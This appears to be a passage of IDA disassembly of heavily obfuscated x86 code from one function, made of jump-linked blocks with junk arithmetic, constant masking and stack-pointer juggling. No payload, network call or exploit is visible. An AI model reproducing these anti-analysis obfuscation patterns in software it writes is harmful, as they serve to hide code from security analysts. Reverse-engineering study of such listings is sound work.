loc_594516:				; CODE XREF: sub_57DD3A+24303j
		pop	ecx
		jmp	loc_59CF9C
; ---------------------------------------------------------------------------


loc_59451C:				; CODE XREF: sub_57DD3A+1BB97j
		pop	esp
		push	edi
		jmp	loc_597D50
; ---------------------------------------------------------------------------


loc_594523:				; CODE XREF: sub_57DD3A+1BF8Aj
		mov	eax, [esp+0]
		add	esp, 4
		push	edx
		push	esi
		push	35A93486h
		pop	esi
		sub	esi, 35A93484h
		mov	edx, esi
		mov	esi, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_5A1B1C
; ---------------------------------------------------------------------------


loc_594547:				; CODE XREF: sub_57DD3A+1E93Bj
		pop	edi
		push	ebx
		mov	ebx, 317B6999h
		xor	ebx, 3D44AA1h
		jmp	loc_5A195F
; ---------------------------------------------------------------------------


loc_594559:				; CODE XREF: sub_57DD3A+16FCDj
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ebp
		mov	ebp, 69E24734h
		dec	ebp
		not	ebp
		and	ebp, 2FD268E0h
		add	ebp, 53B03DF0h
		sub	esp, 4
		mov	[esp+50h+var_50], ebp
		jmp	loc_59C4BD
; ---------------------------------------------------------------------------


loc_594581:				; CODE XREF: sub_57DD3A+18FFBj
		not	esi
		push	ebp
		mov	ebp, 1B114F6Ah
		sub	esi, ebp
		pop	ebp
		push	edi
		jmp	loc_596237
; ---------------------------------------------------------------------------


loc_594592:				; CODE XREF: sub_57DD3A+1CC14j
		and	eax, ebp
		pop	ebp
		add	eax, 31901AFAh
		sub	eax, 6F7235F3h
		push	edi
		mov	edi, 2BAB25B0h
		jmp	loc_59C333
; ---------------------------------------------------------------------------


loc_5945AA:				; CODE XREF: sub_57DD3A+1F219j
		pop	ecx
		jmp	loc_59D59D
; ---------------------------------------------------------------------------


loc_5945B0:				; CODE XREF: sub_57DD3A+18CFDj
		mov	[esp+50h+var_50], edx
		push	eax
		mov	al, 0EFh
		push	ecx
		jmp	loc_59F491
; ---------------------------------------------------------------------------


loc_5945BC:				; CODE XREF: sub_57DD3A+227EAj
		pop	ebp
		jmp	loc_593DC7
; ---------------------------------------------------------------------------


loc_5945C2:				; CODE XREF: sub_57DD3A+1ED7Dj
		add	ebp, edx
		jmp	loc_594CE4
; ---------------------------------------------------------------------------


loc_5945C9:				; CODE XREF: sub_57DD3A+1D386j
		push	6FD5325Bh
		jmp	loc_59B90B
; ---------------------------------------------------------------------------


loc_5945D3:				; CODE XREF: sub_57DD3A+1CC84j
		pop	esi
		jmp	loc_595D2F
; ---------------------------------------------------------------------------


loc_5945D9:				; CODE XREF: sub_57DD3A+19A61j
		not	[esp+54h+var_54]
		pop	ebx
		sub	ebx, 76ED3D2Fh
		jmp	loc_59EB7E
; ---------------------------------------------------------------------------


loc_5945E8:				; CODE XREF: sub_57DD3A+14D71j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_59B478
; ---------------------------------------------------------------------------


loc_5945FE:				; CODE XREF: sub_57DD3A+17CAAj
		mov	ch, 24h
		shr	ch, 4
		not	ch
		add	ch, 1Dh
		shl	ch, 3
		push	dx
		mov	dh, 20h
		sub	ch, dh
		jmp	loc_5A3229
; ---------------------------------------------------------------------------


loc_594616:				; CODE XREF: sub_57DD3A+2401Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edi
		push	4
		pop	edi
		jmp	loc_59E26E
; ---------------------------------------------------------------------------


loc_594631:				; CODE XREF: sub_57DD3A+1266Dj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_594636:				; CODE XREF: sub_57DD3A+1D580j
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		push	[esp-4+arg_0]
		pop	eax
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 41841A38h
		jmp	loc_59EF79
; ---------------------------------------------------------------------------


loc_594655:				; CODE XREF: sub_57DD3A+24643j
		pop	esi
		add	edi, 4
		sub	esp, 4
		jmp	loc_5924EC
; ---------------------------------------------------------------------------


loc_594667:				; CODE XREF: sub_57DD3A+1201Aj
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+32h+var_32]
		pop	esp
		push	6EF4h
		mov	[esp+32h+var_32], edx
		mov	dh, 1Bh
		push	eax
		mov	al, 9
		dec	al
		shr	al, 4
		dec	al
		add	al, 9Bh
		sub	dh, al
		pop	eax
		or	dh, 50h
		xor	dh, 7Ch
		sub	bl, dh
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		push	33E0h
		mov	[esp+32h+var_32], edx
		jmp	loc_5909ED
; ---------------------------------------------------------------------------


loc_5946B2:				; CODE XREF: sub_57DD3A+157D7j
		mov	ecx, 14F86816h
		sub	edi, 6588556Fh
		sub	edi, ecx
		add	edi, 6588556Fh
		pop	ecx
		push	eax
		mov	eax, 24672D72h
		push	ebx
		jmp	loc_58FCEF
; ---------------------------------------------------------------------------


loc_5946D2:				; CODE XREF: sub_57DD3A+189ADj
		shl	edi, 7
		add	edi, 0B1E09CCCh
		mov	eax, edi
		pop	edi
		add	ebx, eax
		mov	eax, [esp+5Ch+var_5C]
		jmp	loc_5A15B3
; ---------------------------------------------------------------------------


loc_5946E8:				; CODE XREF: sub_57DD3A+24652j
		mov	eax, 1450358Bh
		sub	esp, 4
		mov	[esp+60h+var_60], esi
		jmp	loc_59770B
; ---------------------------------------------------------------------------


loc_5946FB:				; CODE XREF: sub_57DD3A+14D35j
		add	eax, edi
		pop	edi
		add	eax, 6110580Fh
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		pop	edi
		jmp	loc_599AB0
; ---------------------------------------------------------------------------


loc_59470F:				; CODE XREF: sub_57DD3A+10FDAj
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 260D05DFh
		add	eax, 0D9F2FA25h
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		push	[esp+22h+var_1E]
		pop	ebx
		jmp	loc_59BD9B
; ---------------------------------------------------------------------------


loc_594735:				; CODE XREF: sub_57DD3A+11460j
		mov	[esp+5Ah+var_5C+2], ebp
		mov	ebp, esp
		push	ebx
		sub	esp, 4
		jmp	loc_5965B8
; ---------------------------------------------------------------------------


loc_594743:				; CODE XREF: sub_57DD3A+23029j
		xor	edx, [esp+62h+var_64+2]
		pop	esp
		jmp	loc_594000
; ---------------------------------------------------------------------------


loc_59474C:				; CODE XREF: sub_57DD3A+17BB7j
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, edx
		push	esi
		jmp	loc_592C95
; ---------------------------------------------------------------------------


loc_594757:				; CODE XREF: sub_57DD3A+17B6Cj
		shr	ch, 8
		and	ch, 0C3h
		neg	ch
		not	ch
		push	bx
		mov	bl, 22h
		push	ebx
		mov	bl, 0C0h
		jmp	loc_59EE7B
; ---------------------------------------------------------------------------


loc_59476D:				; CODE XREF: sub_57DD3A+22C76j
		pop	eax
		xchg	ebp, [esp+64h+var_64]
		pop	esp
		mov	[esp+60h+var_60], eax
		mov	eax, 2D1807F0h
		mov	[edi+24h], eax
		jmp	loc_593C81
; ---------------------------------------------------------------------------


loc_594782:				; CODE XREF: sub_57DD3A+1B8FAj
		sub	[esp+60h+var_5C], ebx
		mov	ebx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_59AFFC
; ---------------------------------------------------------------------------


loc_594794:				; CODE XREF: sub_57DD3A+18C65j
		xchg	ebp, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_597D43
; ---------------------------------------------------------------------------


loc_59479D:				; CODE XREF: sub_57DD3A+226BEj
		mov	cl, 46h
		jmp	loc_59F5C5
; ---------------------------------------------------------------------------


loc_5947A4:				; CODE XREF: sub_57DD3A+137C8j
		mov	ecx, 3DAD657Bh
		jmp	loc_58FDFA
; ---------------------------------------------------------------------------


loc_5947AE:				; CODE XREF: sub_57DD3A+207CBj
		pop	esi
		add	edi, edx
		push	ebp
		mov	ebp, 48996187h
		xor	ebp, 605B3C29h
		jmp	loc_59E04A
; ---------------------------------------------------------------------------


loc_5947C2:				; CODE XREF: sub_57DD3A+1E2CDj
		pop	esi
		sub	esp, 4
		jmp	loc_5956B5
; ---------------------------------------------------------------------------


loc_5947CE:				; CODE XREF: sub_57DD3A+17BC6j
		movzx	eax, ax
		push	small 6FF8h
		mov	word ptr [esp+42h+var_42], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5947DE:				; CODE XREF: sub_57DD3A+242D3j
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		jmp	loc_59E652
; ---------------------------------------------------------------------------


loc_5947EF:				; CODE XREF: sub_57DD3A+20AD5j
		push	49CCh
		mov	[esp+46h+var_46], edx
		push	361B7606h
		mov	edx, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	edx, 0FCCB0055h
		push	edx
		xor	[esp+4Ah+var_4C+2], 18F47942h
		jmp	loc_59DCFF
; ---------------------------------------------------------------------------


loc_594815:				; CODE XREF: sub_57DD3A+13B00j
		neg	esi
		add	esi, 47686290h
		mov	eax, esi
		pop	esi
		jmp	loc_58F5E5
; ---------------------------------------------------------------------------


loc_594825:				; CODE XREF: sub_57DD3A+1A3BBj
		shl	eax, 7
		add	eax, 199BBD4Dh
		or	ebx, eax
		pop	eax
		jmp	loc_59E84B
; ---------------------------------------------------------------------------


loc_594835:				; CODE XREF: sub_57DD3A+11609j
		mov	[esp+22h+var_22], ebp
		jmp	loc_59000E
; ---------------------------------------------------------------------------


loc_59483D:				; CODE XREF: sub_57DD3A+2542Ej
		mov	ebp, 4
		jmp	loc_59492C
; ---------------------------------------------------------------------------


loc_594847:				; CODE XREF: sub_57DD3A+1C562j
		mov	ecx, eax
		pop	eax
		sub	edi, 780358A6h
		sub	edi, ecx
		add	edi, 780358A6h
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_590DF3
; ---------------------------------------------------------------------------


loc_59486C:				; CODE XREF: sub_57DD3A+13605j
		xor	[esp+42h+var_42], ecx
		jmp	loc_599D38
; ---------------------------------------------------------------------------


loc_594874:				; CODE XREF: sub_57DD3A+1B2C1j
		push	dx
		mov	dl, 78h
		add	cl, 0BEh
		add	cl, 0E0h
		add	cl, dl
		sub	cl, 0E0h
		sub	cl, 0BEh
		pop	dx
		neg	cl
		push	dx
		jmp	loc_59BF2A
; ---------------------------------------------------------------------------


loc_594891:				; CODE XREF: sub_57DD3A+1575Ej
		pop	[esp+3Eh+var_3E]
		mov	esp, [esp+3Ah+var_3A]
		bswap	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+3Eh+var_3E]
		pop	esp
		mov	[esp+3Ah+var_3A], ecx
		push	50D8h
		mov	[esp+3Eh+var_3E], esp
		add	[esp+3Eh+var_3E], 4
		jmp	loc_58FED7
; ---------------------------------------------------------------------------


loc_5948C0:				; CODE XREF: sub_57DD3A+178DDj
		push	ebp
		pop	esi
		pop	ebp
		shl	esi, 5
		add	esi, 5CB82EC4h
		sub	edx, 59BA77E3h
		jmp	loc_59A0B0
; ---------------------------------------------------------------------------


loc_5948D7:				; CODE XREF: sub_57DD3A+1582Bj
		pop	esp
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5948DD:				; CODE XREF: sub_57DD3A+1F644j
		pop	ebp
		jmp	loc_590E9F
; ---------------------------------------------------------------------------


loc_5948E3:				; CODE XREF: sub_57DD3A+1D597j
		mov	ebx, eax
		pop	eax
		jmp	loc_591883
; ---------------------------------------------------------------------------


loc_5948EB:				; CODE XREF: sub_57DD3A+1E85Ej
		push	[esp+8+var_4]
		jmp	loc_58EF8C
; ---------------------------------------------------------------------------


loc_5948F4:				; CODE XREF: sub_57DD3A+13D7Dj
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	ecx
		jmp	loc_59E668
; ---------------------------------------------------------------------------


loc_594903:				; CODE XREF: sub_57DD3A+1E352j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_5A1B6E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+18h+var_1A+2]
		push	6DE3h
		jmp	loc_596E0D
; ---------------------------------------------------------------------------


loc_594923:				; CODE XREF: sub_57DD3A+199E3j
		pop	eax
		add	esp, 4
		jmp	loc_59E2D2
; ---------------------------------------------------------------------------


loc_59492C:				; CODE XREF: sub_57DD3A+16B08j
		sub	esi, 52F72B4Dh
		add	esi, ebp
		push	67BCh
		mov	[esp+26h+var_26], edx
		mov	edx, 15461F50h
		neg	edx
		xor	edx, 0B84ECBFDh
		jmp	loc_59304E
; ---------------------------------------------------------------------------


loc_59494E:				; CODE XREF: sub_57DD3A+1517Aj
		add	ecx, 49D39C41h
		sub	eax, ecx
		pop	ecx
		pop	edi
		push	eax
		jmp	loc_593464
; ---------------------------------------------------------------------------


loc_59495E:				; CODE XREF: sub_57DD3A+1E24Fj
		push	esi
		mov	esi, 20ED4FD0h
		and	esi, 2EB91BFDh
		xor	esi, 73736EB7h
		add	esi, 2CFA479Bh
		dec	esi
		sub	esp, 4
		mov	[esp+14h+var_16+2], edx
		mov	edx, 9152C84h
		jmp	loc_59E066
; ---------------------------------------------------------------------------


loc_594987:				; CODE XREF: sub_57DD3A+14918j
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], edx
		mov	edx, esp
		push	esi
		mov	esi, 602F121Ch
		add	esi, 1
		add	esi, 1
		jmp	loc_5A1CD0
; ---------------------------------------------------------------------------


loc_5949A7:				; CODE XREF: sub_57DD3A+15F4Dj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_5906B8
; ---------------------------------------------------------------------------


loc_5949BE:				; CODE XREF: sub_57DD3A+1FE2Fj
		pop	ebp
		xor	ebp, 2CCC0721h
		mov	edx, ebp
		pop	ebp
		pop	ebx
		sub	esp, 4
		jmp	loc_59AAFA
; ---------------------------------------------------------------------------


loc_5949D1:				; CODE XREF: sub_57DD3A+24ACEj
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59985E
; ---------------------------------------------------------------------------


loc_5949E1:				; CODE XREF: sub_57DD3A+1D87Ej
		pop	edx
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		mov	ecx, [esp+40h+var_42+2]
		push	ebp
		jmp	loc_59B777
; ---------------------------------------------------------------------------


loc_5949F4:				; CODE XREF: sub_57DD3A+14049j
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_59E08C
; ---------------------------------------------------------------------------


loc_594A00:				; CODE XREF: sub_57DD3A+24501j
		pop	ebp
		sub	ecx, 4F0526E3h
		add	ecx, ebx
		add	ecx, 4F0526E3h
		jmp	loc_59C3CD
; ---------------------------------------------------------------------------


loc_594A14:				; CODE XREF: sub_57DD3A+22073j
		pop	ebp
		sub	ecx, 5DA276B4h
		xor	ecx, 613E067Dh
		push	ecx
		xor	[esp+18h+var_1A+2], offset loc_590877
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		xor	eax, offset loc_590877
		mov	ecx, [esp+14h+var_16+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_592D03
; ---------------------------------------------------------------------------


loc_594A45:				; CODE XREF: sub_57DD3A+24A72j
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		jmp	loc_59DB17
; ---------------------------------------------------------------------------


loc_594A53:				; CODE XREF: sub_57DD3A+24C66j
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		shr	ecx, 0Ah
		push	7E6Fh
		mov	[esp+18h+var_1A+2], ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		jmp	loc_594120
; ---------------------------------------------------------------------------


loc_594A74:				; CODE XREF: sub_57DD3A+188FFj
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		jmp	loc_59346D
; ---------------------------------------------------------------------------


loc_594A85:				; CODE XREF: sub_57DD3A+219B0j
		push	[esp+14h+var_16+2]
		pop	esi
		add	esp, 4
		push	esi
		xchg	ecx, [esp+14h+var_16+2]
		not	ecx
		xchg	ecx, [esp+14h+var_16+2]
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	ebx
		push	1213h
		mov	[esp+18h+var_1A+2], edx
		push	edi
		push	7EE54D7Dh
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		xor	edi, 7EE54D7Ch
		mov	edx, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_59A8DE
; ---------------------------------------------------------------------------


loc_594AD7:				; CODE XREF: sub_57DD3A+17F44j
		push	[esp+1Ch+var_1E+2]
		pop	eax
		add	esp, 4
		pop	ebx
		xchg	ecx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], edx
		mov	dl, 3Dh
		push	ecx
		mov	ch, dl
		mov	bl, ch
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_5931DE
; ---------------------------------------------------------------------------


loc_594AFB:				; CODE XREF: sub_57DD3A+15363j
		push	esp
		mov	eax, [esp+3Eh+var_3E]
		push	eax
		jmp	loc_597C0B
; ---------------------------------------------------------------------------


loc_594B05:				; CODE XREF: sub_57DD3A+1CFD6j
		mov	cl, dl
		mov	edx, [esp+42h+var_42]
		jmp	loc_59D0E8
; ---------------------------------------------------------------------------


loc_594B0F:				; CODE XREF: sub_57DD3A+178FAj
		mov	ebx, 0A6F859CEh
		jmp	loc_597D30
; ---------------------------------------------------------------------------


loc_594B19:				; CODE XREF: sub_57DD3A+11E90j
		mov	edx, [esp+52h+var_54+2]
		jmp	loc_599E66
; ---------------------------------------------------------------------------


loc_594B21:				; CODE XREF: sub_57DD3A+24202j
		shr	esi, 1
		inc	esi
		sub	esi, 69D2E54Eh
		jmp	loc_58E601
; ---------------------------------------------------------------------------


loc_594B2F:				; CODE XREF: sub_57DD3A+1524Dj
		push	5643380Eh
		mov	ebx, [esp+76h+var_78+2]
		sub	esp, 4
		jmp	loc_5A136F
; ---------------------------------------------------------------------------


loc_594B3F:				; CODE XREF: sub_57DD3A+1AE49j
		and	eax, ebp
		mov	ebp, [esp+7Ah+var_7C+2]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	6126h
		mov	[esp+7Ah+var_7C+2], eax
		jmp	loc_596B34
; ---------------------------------------------------------------------------


loc_594B59:				; CODE XREF: sub_57DD3A+19DAAj
		inc	edx
		jmp	loc_58F066
; ---------------------------------------------------------------------------


loc_594B5F:				; CODE XREF: sub_57DD3A+18DAAj
		xchg	ebp, [esp+7Ah+var_7C+2]
		pop	esp
		mov	[esp+76h+var_78+2], edi
		push	eax
		mov	eax, esp
		jmp	loc_59B89A
; ---------------------------------------------------------------------------


loc_594B6E:				; CODE XREF: sub_57DD3A+17B36j
		mov	ebp, 52064714h
		jmp	loc_591EE3
; ---------------------------------------------------------------------------


loc_594B78:				; CODE XREF: sub_57DD3A+1EDEDj
		push	ebx
		mov	ebx, 5B4553E3h
		shl	ebx, 4
		not	ebx
		sub	ebx, 0E475AD23h
		jmp	loc_58EFDD
; ---------------------------------------------------------------------------


loc_594B8E:				; CODE XREF: sub_57DD3A+1D5ACj
		push	ebp
		mov	ebp, 19B4CEC2h
		add	edi, ebp
		pop	ebp
		mov	esi, edi
		pop	edi
		shr	esi, 7
		xor	esi, 65AF6A23h
		jmp	loc_59EE88
; ---------------------------------------------------------------------------


loc_594BA8:				; CODE XREF: sub_57DD3A+1FC4Ej
		mov	esp, [esp+7Ah+var_7C+2]
		jmp	loc_598AFF
; ---------------------------------------------------------------------------


loc_594BB0:				; CODE XREF: sub_57DD3A+2283Cj
		sub	ecx, 0FFFFFFFFh
		inc	ecx
		xchg	edi, ecx
		neg	edi
		xchg	edi, ecx
		push	edi
		push	eax
		mov	eax, 6E4E3BBBh
		jmp	loc_5A13EC
; ---------------------------------------------------------------------------


loc_594BC6:				; CODE XREF: sub_57DD3A+21D85j
		push	esi
		jmp	loc_59D80E
; ---------------------------------------------------------------------------


loc_594BCC:				; CODE XREF: sub_57DD3A+11337j
		sub	edi, edx
		pop	edx
		jmp	loc_59FAC4
; ---------------------------------------------------------------------------


loc_594BD4:				; CODE XREF: sub_57DD3A+22476j
		mov	ecx, 0BDDD09F8h
		add	ebp, ecx
		pop	ecx
		mov	edi, ebp
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		add	esi, edi
		pop	edi
		and	eax, esi
		jmp	loc_5991B7
; ---------------------------------------------------------------------------


loc_594BF1:				; CODE XREF: sub_57DD3A+18ABFj
		xchg	esi, [esp+2Ch+var_2E+2]
		pop	esp
		mov	[esp+28h+var_2A+2], edi
		push	[esp+28h+var_26+2]
		mov	edi, [esp+2Ch+var_2E+2]
		add	esp, 4
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], edx
		push	2C5F50B1h
		pop	edx
		and	edx, 29BB0863h
		inc	edx
		push	edx
		not	[esp+30h+var_32+2]
		jmp	loc_5995D6
; ---------------------------------------------------------------------------


loc_594C33:				; CODE XREF: sub_57DD3A+1651Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_5990C0
; ---------------------------------------------------------------------------


loc_594C4B:				; CODE XREF: sub_57DD3A+18F65j
		mov	[esp+4Eh+var_50+2], eax
		push	esp
		pop	eax
		push	424Ah
		mov	[esp+52h+var_54+2], esi
		push	4
		mov	esi, [esp+56h+var_58+2]
		add	esp, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_59BD12
; ---------------------------------------------------------------------------


loc_594C71:				; CODE XREF: sub_57DD3A+1F282j
		mov	ebx, [esp+4Eh+var_50+2]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A201E
; ---------------------------------------------------------------------------


loc_594C7C:				; CODE XREF: sub_57DD3A+16718j
		neg	edx
		neg	edx
		push	ebp
		mov	ebp, 416E077Dh
		or	edx, ebp
		pop	ebp
		xor	edx, 7684744Ch
		xor	edx, 1AB03DD2h
		add	ecx, edx
		mov	edx, [esp+4Eh+var_50+2]
		add	esp, 4
		push	edx
		mov	edx, 0F9D078Ah
		add	edx, 25E6D07h
		push	eax
		mov	eax, 280142B6h
		add	edx, eax
		pop	eax
		neg	edx
		inc	edx
		add	edx, 6ADFDA56h
		jmp	loc_59BCAF
; ---------------------------------------------------------------------------


loc_594CC0:				; CODE XREF: sub_57DD3A+1FAAEj
		push	esi
		push	edi
		jmp	loc_59DFEB
; ---------------------------------------------------------------------------


loc_594CC7:				; CODE XREF: sub_57DD3A+2390Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B082
; ---------------------------------------------------------------------------


loc_594CD4:				; CODE XREF: sub_57DD3A+2248Cj
		push	ebp
		mov	ebp, 19DB7951h
		sub	[esp+5Ah+var_58+2], ebp
		pop	ebp
		jmp	loc_592B36
; ---------------------------------------------------------------------------


loc_594CE4:				; CODE XREF: sub_57DD3A+1688Aj
		pop	edx
		jmp	loc_59E204
; ---------------------------------------------------------------------------


loc_594CEA:				; CODE XREF: sub_57DD3A+20190j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+54h+var_54]
		pop	esp
		jmp	loc_59DCF4
; ---------------------------------------------------------------------------


loc_594CFF:				; CODE XREF: sub_57DD3A+1900Cj
		mov	esi, 106619ACh
		shr	esi, 8
		jmp	loc_594559
; ---------------------------------------------------------------------------


loc_594D0C:				; CODE XREF: sub_57DD3A+13C0Bj
		pop	ecx
		push	esi
		jmp	loc_5936ED
; ---------------------------------------------------------------------------


loc_594D13:				; CODE XREF: sub_57DD3A+1FCF0j
		push	esp
		push	[esp+26h+var_26]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 0A8A2E12h
		jmp	loc_59C4F3
; ---------------------------------------------------------------------------


loc_594D26:				; CODE XREF: sub_57DD3A+1977Bj
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_5909B2
; ---------------------------------------------------------------------------


loc_594D35:				; CODE XREF: sub_57DD3A+23E1Ej
		xor	edx, 0EEB07A62h
		jmp	loc_59CDA1
; ---------------------------------------------------------------------------


loc_594D40:				; CODE XREF: sub_57DD3A+1880Aj
		pop	ebx
		sub	eax, esi
		jmp	loc_59FE89
; ---------------------------------------------------------------------------


loc_594D48:				; CODE XREF: sub_57DD3A+17058j
		add	ebp, 9471415h
		add	ebp, ebx
		sub	ebp, 9471415h
		mov	ebx, [esp+26h+var_26]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59906C
; ---------------------------------------------------------------------------


loc_594D6D:				; CODE XREF: sub_57DD3A+10E4Aj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, 3746909h
		push	ebp
		mov	ebp, 3746905h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_594D48
; ---------------------------------------------------------------------------


loc_594D97:				; CODE XREF: sub_57DD3A+1B17Bj
		pop	ebp
		xor	ebp, 2C5576F4h
		sub	[esp+18h+var_16+2], 32A44455h
		add	[esp+18h+var_16+2], 0D275E55h
		sub	[esp+18h+var_16+2], 65A57404h
		sub	[esp+18h+var_16+2], 22C377E4h
		add	[esp+18h+var_16+2], ebp
		jmp	loc_594304
; ---------------------------------------------------------------------------


loc_594DC7:				; CODE XREF: sub_57DD3A+20FBFj
		or	esi, edi
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		shl	esi, 6
		jmp	loc_59B609
; ---------------------------------------------------------------------------


loc_594DD7:				; CODE XREF: sub_57DD3A+22517j
		push	[esp+14h+var_16+2]
		jmp	loc_599013
; ---------------------------------------------------------------------------


loc_594DDF:				; CODE XREF: sub_57DD3A+1CBE4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_592605
; ---------------------------------------------------------------------------


loc_594DEE:				; CODE XREF: sub_57DD3A+110E9j
		mov	eax, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_59FBE8
; ---------------------------------------------------------------------------


loc_594DF9:				; CODE XREF: sub_57DD3A+25312j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_594DFE:				; CODE XREF: sub_57DD3A+12F4Aj
		push	ecx
		push	edi
		jmp	loc_592DC6
; ---------------------------------------------------------------------------


loc_594E05:				; CODE XREF: sub_57DD3A+20211j
		pop	ecx
		or	eax, eax
		jz	loc_59EE3E
		push	5704h
		mov	[esp+5Ch+var_5C], eax
		push	esi
		jmp	loc_59FB15
; ---------------------------------------------------------------------------


loc_594E1C:				; CODE XREF: sub_57DD3A+23397j
		push	4350h
		mov	[esp+64h+var_64], esi
		push	ebp
		mov	ebp, 60AB2D16h
		sub	ebp, 36D84308h
		jmp	loc_59BD1A
; ---------------------------------------------------------------------------


loc_594E35:				; CODE XREF: sub_57DD3A+123D1j
		mov	[esp+3Eh+var_3E], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 51E549D8h
		shl	ecx, 5
		jmp	loc_5A1385
; ---------------------------------------------------------------------------


loc_594E48:				; CODE XREF: sub_57DD3A+181EAj
		push	ecx
		mov	cl, 0B9h
		mov	ah, 90h
		add	ah, cl
		pop	ecx
		not	ah
		jmp	loc_59B768
; ---------------------------------------------------------------------------


loc_594E57:				; CODE XREF: sub_57DD3A+22F69j
		sub	eax, 19253290h
		dec	eax
		sub	esp, 4
		mov	[esp+46h+var_46], edx
		mov	edx, 5926610Fh
		push	eax
		mov	eax, 0F34672Bh
		jmp	loc_58F76E
; ---------------------------------------------------------------------------


loc_594E76:				; CODE XREF: sub_57DD3A+20685j
		pop	ecx
		jmp	loc_59A448
; ---------------------------------------------------------------------------


loc_594E7C:				; CODE XREF: sub_57DD3A+1CD2Ej
		add	esp, 4
		xor	edi, 42BA720Ah
		push	75DFh
		mov	[esp+46h+var_46], edi
		sub	esp, 4
		jmp	loc_58EF98
; ---------------------------------------------------------------------------


loc_594E98:				; DATA XREF: sub_57DD3A+10516o
		push	dword ptr [edx]
		jmp	loc_5A1209
; ---------------------------------------------------------------------------


loc_594E9F:				; CODE XREF: sub_57DD3A+1F63Dj
		add	eax, edi
		jmp	loc_592543
; ---------------------------------------------------------------------------


loc_594EA6:				; CODE XREF: sub_57DD3A+23CC8j
		pop	ebx
		xchg	ebp, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_5924B6
; ---------------------------------------------------------------------------


loc_594EB0:				; CODE XREF: sub_57DD3A+2061Bj
		mov	edx, [esp+46h+var_46]
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_591546
; ---------------------------------------------------------------------------


